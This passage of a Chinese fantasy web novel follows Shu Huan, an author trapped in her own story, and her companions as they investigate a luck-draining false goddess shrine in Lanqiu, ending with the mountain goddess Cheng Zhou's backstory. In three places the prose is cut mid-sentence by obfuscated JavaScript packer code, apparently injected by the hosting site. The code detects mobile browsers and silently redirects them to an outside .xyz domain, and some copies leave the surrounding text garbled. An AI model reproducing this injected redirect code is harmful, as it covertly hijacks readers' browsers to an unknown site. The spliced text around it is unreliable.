她下楼转了一圈,兰驿和莫临江不在,白石湫闭门修行,裴殊在院子里喝茶,花瓣落满了衣摆。 “莫姐姐呢?” 裴殊见此处只有两人,答道:“被人叫走了。” 书环坐在他对面,看了他一会,突然凑近道:“给我看看你的剑。” 裴殊抬眼,没有动作。 书环又靠近几分,低声道:“我想看看你的剑。” 裴殊看了她两眼,取出长剑放于桌上。 书环托起整柄剑,剑身恍若透明,其间夹杂着晕染开的墨痕,仔细看,那墨痕似乎还在剑内流动,书环想起自己被困洞内之时有一缕黑色的东西钻入体内,不会就是剑里这个吧。 她明知故问道:“这剑叫什么名字?” “忆怀。” “黑色的又是什么?” “不知。” 书环:“你自己的剑你不知道?” “忘了。” 说完一把握过剑柄将剑收了起来,书环看着突然变空双手的双手,为了避免尴尬,干脆给他添了添茶,闲聊道:“那天晚上拦路的那个黑衣人……” 话头刚起,莫临江便回来了,手里还拿着封信,除此之外再没别的东西,书环却心道:如果剧情没有发生大的变化的话,莫临江此刻已经拿到一件极为重要的东西了。 在她之后,兰驿也回来了,白石湫闻声从屋内出来,一行五人凑齐。 莫临江将信递给了白石湫,几番轮转下来,最后才到书环手里,她粗略的看了看,信上大抵说的是兰丘一带一夜之间突然多出一尊邪神,逼迫附近百姓前去参拜,据明月楼弟子探查,邪神的由来与无端门有关,苍梧夙将此事按了下来,用作白石湫为其抚琴的谢礼。 “什么时候动身?”白石湫问道。 “今日。” 28. 兰丘邪神 杜若洲据兰丘有五六日的路程,五人紧赶慢赶,只用了三日半便到了目的地。。 兰丘这处地名取得美婉,风水却十分恶劣,山势不算高,草木稀少,城池很大,看起来却非常破旧,颇有一种被风沙打磨出的粗糙感。牛车驶过凹凸不平的街面,卷起一阵尘土。乍从水草丰美的杜若洲辗转至此地,书环十分不适应,拿袖子挡了挡直往眼里钻的尘土,指着最豪华的一家的客栈道:“我们去哪里!” 说着豪华,放在其余城池也只是中上水平而已,但在此地,已经足以让书环满意了。 她和兰驿轮着点了几道菜,等上菜的功夫,兰驿问道:“师姐,那信上有没有说那玩意是什么时候出现的?” “据说是一个多月以前,一夜之间多了座庙宇。” “一个月以前?这么大的动静,我们的人不可能没有发现啊!” 书环熟练的充当剧情推动者。 “不是说苍梧楼主将事情压下来了吗?” 兰驿慎重道:“不见得只有他。” 正说着,门口迈进个佝偻着背的老者,他头发花白,穿着不算太差,手掌也不是常年劳作的人该有的模样,从他一只脚踏进门的那刻起,莫临江、白石湫和裴殊便死死的盯住了他,书环怕几人的目光太直白引起别人的注意,因此拉着兰驿聊家常,从某个话本里的皇帝生了几十个儿子扯到隔壁老王头上长了几十只虱子,好在三人很快便收回目光。 书环松了口气,夹了筷菜送进嘴里,还没来得及咽下,便听有人喊道:“老陈——听说你昨天去拜神了?” 一上来就喊出了几人最想知道的事,书环激动得差点噎住,灌了几口水后听老陈道:“可不是,刚拜完就浑身一软,险些连下山的力气都没有。” 那人说话有些酸:“那你可真幸运,霉运都被抽走了。” 说到此事,老陈那张没有精气神的脸也精神了起来:“是啊,接下来就全是好运了!” …… 听完几人的对话,兰驿神情有些凝重,低声道:“我怎么觉得,此事与我们想象的有些不同?” 莫临江道:“是有些不同,等会找个安静的地方说。” 吃完饭后,几人要了一间房,房门一关,闭音符一贴,兰丘城的地图往桌子上一摊,第一次会议正式召开。 书环最先开口:“方才那人看起来好生奇怪,他拜完佛后遭遇了什么?” 兰驿先前虽在与她闲聊,却也没少观察:“他被吸干了运。” “运?” “对,就是运,人这一生能走多远,能站多高,全凭命和运两个字,如果我没有看错的话,方才那个老陈还算有些家底,可惜,没了运,便如同一辆上好的马车行驶在泥泞里,纵使自身再怎么优秀努力,却也还是寸步难行。” 书环想了想,历史上那些怀才不遇的诗人大抵便是如此。 她作为写垮过好几个小说平台的扑街作者,对此还算有些体会,真情实感的骂了一句:“太过分了!” 兰驿点头:“确实过分。” 白石湫问道:“既是为了运,何不直接用邪法借走?偏偏要引人去跪拜?” 莫临江道:“这也是我不理解的地方。” 白石湫起身:“线索太少,无法决断,我去城西。” 说完头也不回的下了楼。 几人早已习惯白石湫雷厉风行的性格,兰驿跟着起身:“我去城东。” 莫临江道:“我去城北。” 书环看向裴殊:“那我们去城南?” 城南是整座兰丘城最富裕的地方,城中有钱的那群人大部分都住在这边,因此街道两侧开满了各式各样的铺子。 书环和裴殊在街头站了不过一盏茶的功夫,便收到了不下十人的目光,想是裴殊外貌太出众,她拉着人进了一旁的铺子里,买了两块面纱,先把裴殊的脸遮了起来,再给自己系上,刚做完这些,楼上突然走下一位穿着贵气,但气息虚弱的女子,其身后跟着几位婢女仆人,个个面带喜色。 就连掌柜也亦步亦趋的跟着旁边,一副想要沾点喜气的样子。 书环直到几人走远后才问道:“方才那位姑娘是……” 店小二笑道:“姑娘一看就是外来人,那位呀,是广顺镖局的大小姐,咱们兰丘虽不如别的地方富裕,但盛在地理位置好,正处在交通要道旁,因此走镖的人格外多,广顺镖局也顺势越做越大。” 书环又买了两套较贵的衣裙,继续问道:“既是镖局大小姐,那为何看起来如此弱不禁风?” 店小二见她出手如此阔绰,自然知无不言:“姑娘有所不知,刘大小姐那是拜了神像,被抽掉霉运所致,休息一段时间就无碍了。” 书环故作不解:“神像?何处的庙宇,竟如此灵验?” “这事说来话长,不知姑娘有没有听说过兰丘城的传闻?” “被诅咒?” “是的,兰丘自古便有被诅咒的传闻,据传此地因得罪了护卫一方的山神,被其下了道诅咒,从此兰丘一带便渐渐贫瘠起来,人们都以为,随着时间的流逝,这道诅咒会渐渐溃散,几个月前,城内人的运气都发生了极大的变化。” 书环来了兴趣:“诅咒真溃散了?” 小二哭丧着脸:“哪能啊!人人都变倒霉了!平地走路摔掉牙!喝白水噎死人!在水只能盖住脚背的小溪里洗脚被淹死!大大小小的事没有一件顺利的!” 正说着,架子上摆的好好的布匹突然滚落,不偏不倚的砸他头上。 他抱着头欲哭无泪:“姑娘看看,就是这么倒霉!” 将布匹放回原处后他接着道:“城中之人苦不堪言,有人提议去请四大世家或者两大门派的人来解决,可派去的人都因为各种各样的原因倒在了半路,运气好的捡回一条命,运气不好……” 他叹了口气,其余人的下场不言而喻。 裴殊突然问道:“这途中没有其他人进到兰丘城吗?” “当然有,只是那些进来的人都因为各种原因滞留在了城内,兰丘跟一座死城没有区别了。” 裴殊冷笑一声。 书环道:“所以后来庙宇就出现了?” “是啊,城中百姓天天哭天喊地,不久后,也就是一个多月前,当夜许多人都看到一道金光落到城东,城中老者梦到一尊精光闪闪的神像立在山上,说其感受到了世人的悲痛,特来驱散霉运,普照世人。” “哦,那你为何还如此倒霉?” 小二叹气:“据神女托梦所言,前山神留下的诅咒极强,她大部分法力都用去对抗山神了,因此每天只能帮几人驱散霉运。” 书环佯装害怕:“照小哥这么说,我们岂不是也会受到诅咒?” “是的,倘若你们运气好,能被神女选中参拜倒也算了,若是选不中,那便要倒霉一阵子了,不过你放心,自从有了普世庙后,城内便没有再乱死人了。” 书环还是不放心,问道:“小哥可否同我说说,被神女选中的都是哪些人?我好心里有个准备。” 店小二极为负责,报了一长串名字,连他们家中是做什么的都挨个说了一遍,书环看了一眼天色,同他上楼选了几匹料子,定了几身衣服后才拉着裴殊离开。 重新回到大街上,书环找到广顺镖局的方向,问裴殊:“会翻墙吗?” 广顺镖局外,一群赤着臂膀的壮汉正在检查货物,自诅咒莫名加强后,镖局的生意便被迫中止,如今大小姐受神女庇佑,抽走了霉运,如今镖局终于敢继续走镖。 书环和裴殊就是趁这个机会进到镖局内部的,她被裴殊揽着腰,轻而易举的带到了屋顶,伏于瓦面上看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456931|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会,发现镖局内的人是要比街上看到的人更幸运,几乎没有遇到天降异物和意外踩空这一类事。 她想让裴殊来看看镖局内是否还有其他人被抽调气运,一转头却发现他抱臂站在檐角边。 “你……就这么光明正大的站着?” 裴殊回首:“嗯。” “不会被发现吗?” “不会。” 书环指了指自己:“那我?” “也不会。” “那你不告诉我!我在这小心翼翼的趴了这么久!” 裴殊面无表情道:“你没问。” 书环气不打一处来,叉腰指挥他道:“去那边!” 一连翻了十余道院墙,书环从最后一户人家的屋顶上下来的时候腿都有些软了,她问裴殊:“都看清楚了吗?” “除了拜神那人外,其余人的气运都还在。” “看不出来,这妖怪还怪讲究的。” 裴殊一顿,提步向墙角走去,书环见状也跟了过去。 墙角处种了一株芭蕉,芭蕉叶半数枯黄,裴殊躬身捞起一缕黑白的、如烟雾般柔软流动的东西。 “这是……” 裴殊道:“未消散的妖力。” 说完这句话,手中这缕妖力便随风消散了。 “能分辨出是什么妖吗?” “不能。” 这在书环的意料之中,她拉起裴殊的手:”去下一家吧。” 两人接连暗访了几户拜过神像的人家,除却最开始的镖局外皆无所获,不得已只能先回客栈,谁知推开门时白石湫也在,还刚沏好一壶茶,书环呼吸一滞,顿时感觉浑身不自在起来,偏偏屋内又只有这一张桌子,无奈,她只能拉着裴殊坐下。 白石湫递过来两盏茶,明明是滚烫的茶水,书环接过时却觉得冰冷刺骨。 无端门是盛产冰块吗? 白石湫面无表情的饮了杯茶,问道:“裴公子修为高深,不似籍籍无名之辈,但玄道之中却鲜少听过有关裴公子的传闻,敢问公子师出何门?” 书环已练就编谎话不眨眼睛的技能:“他们师门比较低调,几十年不出世都是常态,他还有个师兄,虽修为通天,却喜欢藏匿身份,天下能识者寥寥。” 在这一方天地内,修为越高,寿命便越长,无端门的司刑使便是一位活了三百余年的得道高人,仍面若少女。 “哦?这样神秘的人,书姑娘是如何同他有交集的?” 书环叹气:“说来说去还不是一个缘字,算命的说,我们有几世的姻缘,可惜前些日子闹了一点误会……我俩的不世咒就是这么来的,他还因此失了忆……” 白石湫一点也不为所动:“情之一字,确实伤人,忘却前尘,也未必不是一件好事。” 书环跟着点头,点完才发现裴殊一连探究的望着自己,她心头一紧,连忙在桌下勾了勾他的手指,裴殊指尖一颤,不动声色的将目光收回。 两杯茶水下肚,莫临江和兰驿一前一后回了客栈,兰驿不知从哪买了把新扇子,噗嗤噗嗤的扇了起来。 “猜猜我都打探到了什么?” 所有人中只有书环愿意捧场:“你打探到了什么?” “据我调查,兰丘城里能去拜神的,大多都是被神亲自选中的人,并且……” 书环接道:“并且都是有钱有权的人。” “没错!” 书环又道:“那些拜完神的人自身气运几乎已经被抽干净,但是其连同身边的人却变得幸运起来。” 兰驿点头:“没错!” 莫临江道:“看来我们打探到的消息都差不多。” 几人把消息一整合,发现都在某些角落发现过妖力,莫临江看向城东,普世庙内的钟声荡到了兰丘城,闻者纷纷跪下叩拜,恍若天音降世。 29. 夜探普世庙 是夜,五人做普通百姓打扮,从东门出去,踏上了拜神的路。 一行人里最惹眼的是裴殊,他身形高大,相貌出众,一头白发更是惹人猜想连篇,为了避免引起打草惊蛇,书环给他披了件斗篷。 东城门出去二三里有一座山峰,山峰面向兰丘城,普世庙便在其上,夜里灵光灿灿,不知情的人看了还真以为是座灵验的神庙。 五人沉默的走了半刻钟,一抬头,山脚就在前方不远处,又走了一会,仍旧没有要上山的迹象。 书环道:“我怎么感觉有点不对。” 兰驿点头:“像是一直在原地踏步。” 莫临江回头一望,众人从出城后便一直随着这条路走至此处,途中从未换过岔路,她和白石湫在附近转了一圈,竟也不见阵法。 兰驿书环提议道:“要不这样,你们在前面走,我们在后面看着,以此来判断人是否前进了。” 莫临江颔首,转身继续往前走,白石湫不甘示弱的跟了上去。 三人望着两人的背影越走越远,书环和兰驿顿时脸上一喜,拉着裴殊便追了上去。 “动了动了!” 待他们追上两人后一看,几人距离上山口的距离还是那么远,似乎从未变动过。 兰驿肯定道:“这条路有问题!” 白石湫作势要抽出拂尘,莫临江拦住她:“切莫打草惊蛇。” 她转而走入荒草地,以另一个方向朝着山脚走去,于一刻钟后无功而返。 兰驿挠头:“没有阵法却又让人无法靠近,真是见了鬼了!” 书环反驳她:“这可不是鬼,是妖。” 裴殊则在一旁闭目养神,仿佛只是个半路被拉进来的无辜人。 虽然明知没有被“神女”选中的人便无法参拜,但连上山的道路都没碰到,这实属出人意料。 莫临江神色不变道:“先回客栈。” 翌日,兰驿一早便出去打听是谁被选中了去参拜。 莫临江和白石湫把自己关在了屋内,有空吃早饭的只有书环和裴殊二人,兰丘人做的吃食并不怎么精细,早饭一碗热汤一块饼就能糊弄过去。汤是咸的,里面加了苦菜叶,饼是干的里面混着磕牙的粗粮颗粒,书环吃了几口便觉得生无可恋,反倒是裴殊因为不用吃东西逃过一劫。 她趴在桌上有气无力道:“裴殊,教我辟谷吧!” 兰驿从外面回来:“好端端的辟什么谷?” 说着拿起一块没动过的饼一咬,俊脸一皱,灌了两口汤送下去,脸皱的更厉害了。 “这什么东西?” 书环答:“早饭啊。” 兰驿回味了一番,只道:“走的时候我要带一些,去给明月楼的那帮人尝尝!” 说完发觉有一道目光一直落在自己身上,顺着望去,竟是裴殊。 “裴公子,你盯着我做什么?我似乎也没干什么坏事吧?” 他百思不得其解,十分夸张的往书环身后躲了躲,坐在了她的另一边。 屋内的两人听到动静后纷纷放下手里的事出来,兰驿将自己打听到的消息整理一番,道:“此次妖异的幕后操纵者,我们暂且称他为一只妖。一只妖许是修炼邪法,又或是因为其他原因,需要吸取凡人的气运,于是选取了兰丘这个不甚繁华,又素有诅咒传闻的地界。” “一来此处偏远,没有什么响当当的大人物,就算在此做恶,只要处理得当,就不会引来实力强悍的捉妖师;二来,此地自百年前便流传其了关于诅咒的传闻,就算一时被人察觉不对,也可以用诅咒一事搪塞过去。” “所以一只妖选定了这里,事实证明,此处确实适合它作恶,若非明月楼的人发觉不对的话,咱们至今仍不知此事。” “一只妖布局的方式很简单,先使众人倒霉,以少数人的死亡来催动多数人的惶恐,并设法让消息无法传到外界,在百姓即将绝望之际造出异象,又托梦给老者,让百姓误以为是神女现世,后面的事,大家都清楚。” 兰丘喝了盏茶,总结道:“一只妖兜兜转转这么多圈,想要的无非就是气运深厚的人自愿奉出气运,那我们想要接近那座庙,就得先找一个气运深厚的人。” 他的目光在众人之间流转一番,最后停在书环身上。 “又是我?” 兰驿苦口婆心道:“搭子,这真不怪我,你的运气你自己知道,一只妖看上你的可能性非常大!” 书环反驳道:“我却觉得并非如此,我只是个普通人,你们四个都是修道之人,按理来讲你们的气运应当更深厚,再者,我身上的不世咒还没解呢!一只妖总不能连不世咒都不认识吧?” “不世咒只是不让你入轮回,并不会影响气运,而且我们是捉妖师,裴公子一看就是隐世高手,一只妖不会想不通找到我们的。” 书环找不到反驳的点,干脆问裴殊:“我们这一群人里,谁的气运最深厚?” 裴殊毫不犹豫道:“你。” “我?” “嗯,是你。” “裴殊你不会看错了吧?” “从未。” 书环不可置信的瞪大了眼,在座的哪一个不是故事的核心人物,怎么会是她的气运最深厚?但转念一想,这群人都是她写出来的,气运这一点也就不奇怪了。 她认命的耸肩:“是我就是我吧,既然是我,那我们接下来该怎么办?” 兰驿摇着扇子:“让我想想啊,一只妖看中的大多都是城内为数不多的有钱人,这样,你装作外出游历的世家大小姐,为了确保安全得有人跟着你,干脆你和裴公子扮作一对未婚夫妻!” 裴殊常年冷着一张脸,此刻有无表情波动完全看不出来,书环却是实实在在被吓了一跳。 兰驿对这个安排满意极了:“至于裴公子的白发,就说是他生了场大病所致,你想想啊,你的未婚夫时日不多了,你陪着他出来游山玩水度过最后一段时光,碰巧路过此地,他深受诅咒,你心如刀绞,一只妖见了,不得立马给你托梦啊!” 书环沉默片刻,道了一句:“搭子,你很适合加入明月楼。” 他意气风发道:“天才,无论在何处都是受人瞩目的。” 书环看向莫临江,她道:“你若愿意,也不失为一个办法。” 于是她又去看裴殊:“你行吗?” “什么。” “扮未婚夫妻啊。” 裴殊蹙眉:“怎么扮?” “听我安排就行。” 兰驿激动起身鼓掌道:“好!那既然这样,你们二人在明处负责当钓鱼的饵,我们在暗处配合你们,这间客栈我们一同出现过,不适合再留在此处,我们先走一步,你们半个时辰后再动身,有事我会暗中联系你们。” 说着三人起身出了门,兰驿欢快的声音从廊道传来。 “师姐你看她俩,都熟悉成那样了还不好意思……” 屋内只剩下两人,裴殊向来沉默,书环虽然从一开始就骗他两人相爱至深,但那毕竟是私底下说的,真摊明了她也难免有些不好意思,缓过最初那股尴尬劲后,她问裴殊:“你……知道病弱之人该怎么演吗?” 裴殊看着她的眼睛:“知道,我受过重伤。” “啊?” 所有的情绪都被这一句话冲得溃不成军,书环问道:“谁干的?” “时间太久,忘了。” 说完难得补了一句:“但重伤的感受还记得。” 能让裴殊铭记至今的,想来是很严重的伤了,她不知不觉间拉住了裴殊的手,以往也经常这样做,但那是为了避免两人走散,如今屋内就两人,实在没有牵手的必要,裴殊也不提醒她,以至于她察觉时那一块皮肤都被握得温热了。 裴殊这人,脾气像块冰,体温也像。 书环安慰自己,反正两人也要扮未婚夫妻,拉手就当提前练习了,想着将他那只骨节分明的大手翻来覆去捏了一番,道:“要想扮未婚夫妻,你这么冷着一张脸可不行。” 第二日一早,书环带着裴殊从南市街头开始逛,书环特意挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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书环道:“这些东西虽好,却难随身携带,我们是出来游历的,总不能揣一大块翡翠在身上到处跑,可有什么精致小巧的东西?” “有。” 掌柜又抱出三个小盒子,书环打开一看,竟是一枚剑穗,上面的玉通体雪白,其间晕染开一缕墨色,书环看了一眼便毫不犹豫道:“这个我要了!” 打开第二个盒子一瞧,竟是一支白玉笔,这可把她乐坏了,忙将曵骨取下,将两只笔放在一起观赏起来,至于第三个盒子里的耳坠,她看都没看一眼,裴殊却将其一同买了下来,加上香炉一共四件宝物,足足给出去一大袋金子。 掌柜的包好了东西,艳羡道:“公子和姑娘感情真好。” 书环叹道:“可惜感情再好,也有重疾在身,免不了要分离。”她随手挽了个发髻,把两只笔往发堆一插,同掌柜打探:“附近可有什么医术绝佳的医师?” 掌柜也叹道:“以前是有一个,可惜诅咒蔓延开后她忙着救人,活活把自己累死了。”他看了一眼裴殊的白发:“姑娘若想给公子治病,唯一能期望的便是城外普世庙里的那尊神像,不过,那也不是人人都能去的。” 谢过掌柜之后,书环和裴殊正要携手离开,屋檐上的瓦片突然毫无预料的落下,裴殊揽着人往旁边一退,宽大的袖袍挡住了溅起的瓦片碎渣。 掌柜腿一软,扑通一声跪倒在地,对着那堆碎渣哭爹喊娘起来:“天爷啊!我曹文德一不行凶,二不作恶,好端端的怎么会被霉运缠上,这是要我的命啊!” “老板,不过是风吹落两片瓦而已,何至于如此伤心?” “姑娘才到兰丘,不懂也情有可原,这是被霉运缠上了,若是不能求得神女眷顾,这一生便要在霉运中度过了。” 说罢又伏倒在地呜呜哭了起来。 书环和裴殊对视一眼,相携回了客栈,她一边检查东西一边问道:“你觉得今天掉落的那片瓦,是冲我们来的吗?” “不知。” “那我们先歇息一天,明天再出去晃悠,此事不能操之过急。” 说着拆出了一副耳环。 “你怎么把它也买下来了?” 裴殊反问:“你不喜欢?” “喜欢,当然喜欢。” 她戴上新耳坠,转头问裴殊:“好看吗?” “嗯。” 她转过身去,托腮照着镜子,十分细致的欣赏这份意外之喜。 30. 山神 好景不长,当天夜里书环突然从梦中惊醒,四肢像被灌了水泥般沉重,呼出的气体滚烫得几乎能灼伤皮肤,床幔之上,一个被拉长的黑影隔着轻纱静静地凝望着她,停滞呼吸对视两眼后,它突然拖长了调子幽怨的喊道:“姑娘……” 书环被吓得浑身一僵,等了一会后发现屋内没动静,于是低声唤了一声:“裴殊?” 黑影凄厉唤她:“姑娘……” “裴殊?” “姑娘……” 不知道是不是书环的错觉,她总觉得黑影浓厚了几分,好似要化出实体,这玩意不知来历,偏偏裴殊又不在,真是要了命了。 她没出息的留下两行眼泪,艰难的挪动手指,用尽全身力气才拿到放在枕边的曵骨,刚碰到笔杆,她便险些将笔丢出。 太烫了! 曵骨比她本人还要烫! 她忍着几乎要灼伤人的烫,死死的握住曵骨,不认命的又喊了一声:“裴殊……” 窗外投进的月光晃了晃,床幔突然被人猛地一把抽开,裴殊一脸杀气的立在床边,居高临下的望着她。 屋内灯火骤起,驱散了黑暗带来的恐惧,床幔上的怪影也消失不见。 书环保持着一身防备的姿势,脸上还有两行眼泪,见状不顾形象的哭了起来:“呜呜呜呜吓死我了……你去哪里了怎么现在才回来?” “方才有人来过。” 她止住哭声:“追到了吗?” “是个假人。” 那个假人被他捏在手里,宽大的袖子遮住了身体,只露出一双脚,书环撇了一眼,皮肤惨白,长得很像丧葬店里的纸人。 裴殊探了探她的温度,转身便要往外走,书环一时情急直接扑了起来,半个身子趴在床外。 “你要去哪?万一那个黑影又来怎么办?我可打不过他!” 裴殊面无表情:“拿药。” 光是起身便已经耗尽了她所有的力气,书环趴在床边,可怜兮兮的抬头:“可是我一个人害怕。” 她从小就害怕一个人睡,经历过黑影的恐吓后更是敏感到了极点,烛火稍微跳跃一下都会引起心颤。 裴殊站在原地同她对视一会,取出忆怀放在她手边。 书环还是有些不放心:“它行吗?” “它是仙器。” 书环看着他的背影消失在门口,随即一把拉过忆怀抱在怀里,神志随着持续不退的高烧一点点被蒸发,梦境开始变得混浊,忆怀中的墨晕突然流动起来,其中一缕从剑身分析而出,钻入了书环体内。 不知过了多久,裴殊端着一碗药回来了,他看了眼墨晕变淡的忆怀,一语不发的把剑收起,将人扶起喂药。 书环迷迷糊糊中察觉唇边多了个碗,温热的液体顺着缝隙流入口中,一股苦腥味直冲天灵盖,她瞬间清醒几分。 “呕……这什么?” 裴殊道:“药。” 她眼睛瞪的老大:“毒药?” “不是。” “这么难喝,不是毒药还能是什么?” 裴殊耐着性子解释道:“良药苦口。” 岂料书环脑袋一转,一脸探究的盯着他:“你不对!你不是裴殊!你是妖怪假扮的!我要去找裴殊……” 她正发高热,神志不清,张牙舞爪就要往外跑,裴殊一把将人扣住,思索一番后,选择了最温柔的方式,捏着她的下巴强行将一碗药灌了下去,怀中人蹬了几下腿,随即便晕了过去。 裴殊将人放回床上盖好被子后看了一会,拿起旁边的空碗闻了闻,眼里略有不可置信。 真的有那么苦吗? 第二日一早,收到消息的兰驿和莫临江伪装一番后混了进来,兰驿苦恼道:“按照设想出事的应该是裴公子,怎么变成了你?” 他说这话时恰逢裴殊端着一碗药进来,兰驿神情一滞,解释道:“我只是疑惑,并没有说裴公子就应该倒霉。” 裴殊没理会,径直走向书环,把药放在她面前,兰驿凑上去瞧了瞧,被熏得连退几步,扇子摇得嘎吱作响。 “我的天!在下闯荡江湖这么多年,第一次闻到如此惊世骇俗的味道!” 裴殊道:“良药苦口。” 书环视死如归的把手伸向药碗,还未触碰到碗边,窗边突然嘎吱一声,白石湫一身青衣落在屋内,其后还跟着个极为俊俏的少年。 莫临江问道:“哪里来的小妖?” 那少年往白石湫身旁站了站,道:“我是跟着她一起来的。” 白石湫不想理他。 “路上捡的。” 少年扬声纠正:“那不叫捡!那叫偶遇!” 白石湫问道:“你不是说知道一些内情吗?” “哦。” 少年摆弄了一下头上的荷花枯叶簪,道:“我叫桑荷,是一只荷花精,出生于一处天山莲池内,成精于百年前。化形那年我外出游玩曾路过此地,在城内听到百姓说要弑神,于是便留了下来。” 兰驿摇头道:“凡人如何能弑神?这简直是……” 桑荷道:“我当时也是这样想,在城中打听一圈后才得知,他们要弑的,是山神。” 山神作为庇护一方的神灵,一般都由功德深厚的凡人死后担任,而百年前兰丘的山神,正是一位名叫程舟的女子。 程舟家境普通,但天性聪慧,三岁能写字,五岁能吟诗,生得漂亮不说,更有一身招惹动物的本事,凡是她出门,附近的飞鸟走兽都会汇聚到她身边,形成一副生机勃勃的和谐之景,时间一久便有了传闻,说程家姑娘是天仙下凡,不然为何旁人没有这个本事? 十八岁那年,这个传闻传到了城主夫人里,彼时的兰丘尚是一方富饶之地,水草丰美,物产丰厚,城主夫人做为半个兰丘城的主人,在这片土地上自然是说一不二,然而她却有一个无法解决的难题——她的儿子是个傻子。 原来,城主和城主夫人是一对表兄妹,当年凭着城主夫人一双巧嘴讨好了长辈才有的婚约,成婚后不到两年便生了个儿子,城主夫人觉得自己坐稳了位子,耀武扬威的同时担心自家丈夫被外面的女人勾走,于是但凡见到没有背景的漂亮女子,不是划花对方的脸,便是命人将其丢到城主看不见的地方去。 如此作威作福了十余年,她的报应终于到了,原本聪明伶俐的儿子一夜之间变成了连话都说不清楚的傻子,城主忍这泼妇已久,扬言治不好儿子就让她滚蛋。 城主夫人深知痛恨自己的人众多,其中不乏有一些下九流的人,若是没了城主夫人这个身份,自己的下场或许不会比那些被她残害的女子好。 于是她广召医师入城主府,药方叠了厚厚一层,汤药如流水般送入儿子口中,换来的却还是儿子的傻笑和嘴角留下的口水,正当她绝望之时,突然有人告诉她,兰丘城里有一娘子,自小聪慧,凡是天上飞的地上跑的,见了她,通通都恨不能贴上去,有懂事的老者说,那姑娘是天女下凡。那人又道:儿子虽傻,但若是能生个聪慧的孙子…… 就是这一句话,让平常对漂亮姑娘非打即骂的城主夫人主动寻上门去,说要与程家结亲。 程舟自小便知这位夫人的“美名”,委婉拒绝道:“夫人请回吧,程舟只想侍奉双亲,无心嫁人。” 城主夫人也不恼,只道:“真是个好孩子。”并在临走前意味深长的看了她一眼。 两日后,程舟知道那一眼是什么意思了,程父给人做工时从屋顶上摔了下来,被送回来时只剩下半口气,城中的医师纷纷以各种理由拒绝求医,城主夫人前来看望,送了一根老山参吊着他的气,临走前满是怜惜的拍了拍她的头。 “真是个可怜孩子,父亲没了,若是母亲再出点什么事,你可怎么活哟。” 程舟愤愤的瞪着她,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哎哟你这这孩子,这种事你叫我们帮忙就行了呀!你明日还要成亲,哪能为了这种事跑东跑西的,再说了,城主府家大业大,哪能看上这些个小东西,城主夫人既看中了你,便不会在意你的出生。” 说着便要伸手去够她肩上的包袱:“这事让我去吧,你好好陪陪你母亲。” 程舟一侧身躲开她的手,李婶子愣在原地:“程舟丫头,你这是在做什么呀?” “李婶子……你对我们家还真是好,大晚上的都守在门外。” 李婶子干笑两声:“你这丫头,我不一直挺关心你的吗?” “我母亲不在了。” 李婶子的笑僵在脸上。 “婶子真是关心我,关心到把我的事情都告诉那个恶人,关心到害死了我爹,又害死了我娘!” 李婶子后退两步,无措道:“程舟你在说什么?你是伤心糊涂了吧?有关你的传闻那么多,城主夫人意外听到也实属正常……” “传闻?传闻?”程舟笑出了眼泪,“城内谁人不知她生性残忍,生了女儿都不敢张扬,到了年纪就嫁得远远的,又有谁会把传闻放在明面上说?” 她用低得几乎听不见的声音重复着:“你害死了我爹娘……你害死了我爹娘知道吗?你害了我们一家人,我爹娘不会放过你,我也不会放过你……” 说完趁着她愣神的功夫把人往地上狠狠一推,抓紧包袱朝出城的方向跑去,李婶子看着她背影变远,突然反应过来,手脚并用的从地上爬起,大喊道:“程舟跑了!程舟跑了!” 挨得近的几户人家纷纷出来,李婶子呼天喊地道:“程舟跑了,我们要完了!我们要完了!” “李婶子,怎么要完了?你好好把话说清楚。” 她咧着嘴:“程舟不愿意嫁给少城主,毒死她母亲后跑了,城主夫人知道了一定会迁怒我们的,可怜我那尚且年轻的儿子哟……” 众人一听便慌了神,“这可怎么办啊……我女儿还小……” 李婶子眼露精光:“去把她抓回来!” 31. 山神 这一条街住的都是普通人家,平日全靠给人做工赚取钱财,因此个个精壮,程舟没跑多远就被一群手持棍棒的人捆了回来,李婶子在一旁乞求道: “程舟啊程舟,你也是婶子看着长大的,婶子怎么会不心疼你呢?只是这次确实不一样啊,你若跑了,我们也得跟着遭殃啊……” “是啊程舟,你也多替我们考虑考虑,我们家丫头才几岁,你难道忍心她被你连累失去性命吗?” “我家孩子也才刚会说话……” “要我说呀,你没了父亲,城主府也不失为一个好去处,不知道你怎么想的,害死你母亲不说,竟然还想逃跑。” “刘大姐也是真可怜,含辛茹苦把你养大,你却为一己私欲杀害了她,真是没良心……” “少城主你都看不上,不知道想攀哪根高枝?” 程舟看着这群平日里多有往来的邻居,她目光似火炬,所到之处的险恶心思全部遁出原型,许多人不敢直视她的目光,纷纷撇开头,她被反绑双手扔回了屋子里,门关上的那一刻,一口唾沫啐了出来。 被喷中的人丝毫不在意,问李婶子道:“这样真的行吗?” “行与不行,人都已经抓回来了,这样吧,你们先去歇息,我在外面守着,防止她再逃跑。” “行行行,那就多麻烦李婶子了。” 说完纷纷推搡着出了程家的院子。 从前的程家有点小钱,平日里有事也能请程父程母帮忙,还算有利可图,如今的程家就是个烫手山芋,谁沾上都落不着好,有人愿意接手再好不过,反正出了事有人顶着。 人走光后,李婶子的丈夫提着棍子凑了过来。 “老张啊,我这心里总不踏实。” 老张嘴里叼着烟杆,啪嗒啪嗒吸了两口,咧着一口黄牙道:“有什么好不踏实的,事已经做了,后悔也来不及了,再说,我们哪知道那个毒妇会对老程痛下杀手!他死了那是自己命不好!” 